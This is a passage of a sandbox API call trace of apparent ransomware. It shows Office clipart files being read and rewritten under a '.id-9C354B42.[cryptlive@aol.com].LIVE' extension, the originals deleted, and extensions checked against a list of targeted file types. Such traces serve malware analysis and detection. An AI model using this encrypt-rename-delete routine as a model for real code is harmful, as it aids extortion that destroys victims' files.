[0146.206] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1268) returned 1 [0146.206] CloseHandle (hObject=0x3b4) returned 1 [0146.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0146.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.207] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.207] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.208] GetLastError () returned 0x0 [0146.208] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4f4, lpOverlapped=0x0) returned 1 [0146.225] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x500, lpOverlapped=0x0) returned 1 [0146.226] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.226] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.226] SetEndOfFile (hFile=0x390) returned 1 [0146.226] CloseHandle (hObject=0x390) returned 1 [0146.226] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.226] SetEndOfFile (hFile=0x3b4) returned 1 [0146.228] CloseHandle (hObject=0x3b4) returned 1 [0146.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.243] lstrlenW (lpString=".doc") returned 4 [0146.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.243] lstrlenW (lpString=".docx") returned 5 [0146.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.243] lstrlenW (lpString=".pdf") returned 4 [0146.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.243] lstrlenW (lpString=".xls") returned 4 [0146.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.243] lstrlenW (lpString=".xlsx") returned 5 [0146.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.243] lstrlenW (lpString=".ppt") returned 4 [0146.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.243] lstrlenW (lpString=".zip") returned 4 [0146.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.243] lstrlenW (lpString=".rar") returned 4 [0146.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.243] lstrlenW (lpString=".bz2") returned 4 [0146.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.243] lstrlenW (lpString=".7z") returned 3 [0146.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.244] lstrlenW (lpString=".dbf") returned 4 [0146.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.244] lstrlenW (lpString=".1cd") returned 4 [0146.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.244] lstrlenW (lpString=".jpg") returned 4 [0146.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.244] lstrlenW (lpString=".doc") returned 4 [0146.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString=".docx") returned 5 [0146.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.244] lstrlenW (lpString=".pdf") returned 4 [0146.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString=".xls") returned 4 [0146.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.244] lstrlenW (lpString=".xlsx") returned 5 [0146.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.244] lstrlenW (lpString=".ppt") returned 4 [0146.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.244] lstrlenW (lpString=".zip") returned 4 [0146.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.244] lstrlenW (lpString=".rar") returned 4 [0146.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString=".bz2") returned 4 [0146.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.244] lstrlenW (lpString=".7z") returned 3 [0146.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.244] lstrlenW (lpString=".dbf") returned 4 [0146.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.245] lstrlenW (lpString=".1cd") returned 4 [0146.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0146.245] lstrlenW (lpString=".jpg") returned 4 [0146.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.245] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.245] lstrlenW (lpString="HH01080_.WMF") returned 12 [0146.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.246] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5000) returned 1 [0146.246] CloseHandle (hObject=0x3b4) returned 1 [0146.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0146.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.246] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.246] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.247] GetLastError () returned 0x0 [0146.247] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1388, lpOverlapped=0x0) returned 1 [0146.308] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1390, lpOverlapped=0x0) returned 1 [0146.309] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.309] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.309] SetEndOfFile (hFile=0x390) returned 1 [0146.309] CloseHandle (hObject=0x390) returned 1 [0146.309] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.309] SetEndOfFile (hFile=0x3b4) returned 1 [0146.311] CloseHandle (hObject=0x3b4) returned 1 [0146.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0146.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.368] lstrlenW (lpString=".doc") returned 4 [0146.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.368] lstrlenW (lpString=".docx") returned 5 [0146.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.368] lstrlenW (lpString=".pdf") returned 4 [0146.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.368] lstrlenW (lpString=".xls") returned 4 [0146.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.369] lstrlenW (lpString=".xlsx") returned 5 [0146.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.369] lstrlenW (lpString=".ppt") returned 4 [0146.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.369] lstrlenW (lpString=".zip") returned 4 [0146.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.369] lstrlenW (lpString=".rar") returned 4 [0146.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString=".bz2") returned 4 [0146.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString=".7z") returned 3 [0146.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.369] lstrlenW (lpString=".dbf") returned 4 [0146.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.369] lstrlenW (lpString=".1cd") returned 4 [0146.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.369] lstrlenW (lpString=".jpg") returned 4 [0146.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.369] lstrlenW (lpString=".doc") returned 4 [0146.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString=".docx") returned 5 [0146.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.369] lstrlenW (lpString=".pdf") returned 4 [0146.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.369] lstrlenW (lpString=".xls") returned 4 [0146.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.370] lstrlenW (lpString=".xlsx") returned 5 [0146.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.370] lstrlenW (lpString=".ppt") returned 4 [0146.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.370] lstrlenW (lpString=".zip") returned 4 [0146.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.370] lstrlenW (lpString=".rar") returned 4 [0146.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.370] lstrlenW (lpString=".bz2") returned 4 [0146.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.370] lstrlenW (lpString=".7z") returned 3 [0146.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.370] lstrlenW (lpString=".dbf") returned 4 [0146.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.370] lstrlenW (lpString=".1cd") returned 4 [0146.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0146.370] lstrlenW (lpString=".jpg") returned 4 [0146.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.371] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.371] lstrlenW (lpString="HH01329_.WMF") returned 12 [0146.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.371] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6016) returned 1 [0146.371] CloseHandle (hObject=0x3dc) returned 1 [0146.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0146.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.372] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.372] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.372] GetLastError () returned 0x0 [0146.372] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1780, lpOverlapped=0x0) returned 1 [0146.432] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1790, lpOverlapped=0x0) returned 1 [0146.433] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.433] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.433] SetEndOfFile (hFile=0x39c) returned 1 [0146.434] CloseHandle (hObject=0x39c) returned 1 [0146.434] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.434] SetEndOfFile (hFile=0x3dc) returned 1 [0146.436] CloseHandle (hObject=0x3dc) returned 1 [0146.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0146.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.437] lstrlenW (lpString=".doc") returned 4 [0146.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.437] lstrlenW (lpString=".docx") returned 5 [0146.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.437] lstrlenW (lpString=".pdf") returned 4 [0146.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.437] lstrlenW (lpString=".xls") returned 4 [0146.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.437] lstrlenW (lpString=".xlsx") returned 5 [0146.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.437] lstrlenW (lpString=".ppt") returned 4 [0146.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.437] lstrlenW (lpString=".zip") returned 4 [0146.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.437] lstrlenW (lpString=".rar") returned 4 [0146.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.437] lstrlenW (lpString=".bz2") returned 4 [0146.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.437] lstrlenW (lpString=".7z") returned 3 [0146.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.437] lstrlenW (lpString=".dbf") returned 4 [0146.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.438] lstrlenW (lpString=".1cd") returned 4 [0146.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.438] lstrlenW (lpString=".jpg") returned 4 [0146.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.438] lstrlenW (lpString=".doc") returned 4 [0146.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString=".docx") returned 5 [0146.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.438] lstrlenW (lpString=".pdf") returned 4 [0146.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString=".xls") returned 4 [0146.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.438] lstrlenW (lpString=".xlsx") returned 5 [0146.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.438] lstrlenW (lpString=".ppt") returned 4 [0146.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.438] lstrlenW (lpString=".zip") returned 4 [0146.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.438] lstrlenW (lpString=".rar") returned 4 [0146.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString=".bz2") returned 4 [0146.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString=".7z") returned 3 [0146.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.438] lstrlenW (lpString=".dbf") returned 4 [0146.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.438] lstrlenW (lpString=".1cd") returned 4 [0146.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0146.439] lstrlenW (lpString=".jpg") returned 4 [0146.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.439] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.439] lstrlenW (lpString="HH01461_.WMF") returned 12 [0146.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.439] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5958) returned 1 [0146.439] CloseHandle (hObject=0x3dc) returned 1 [0146.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0146.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff 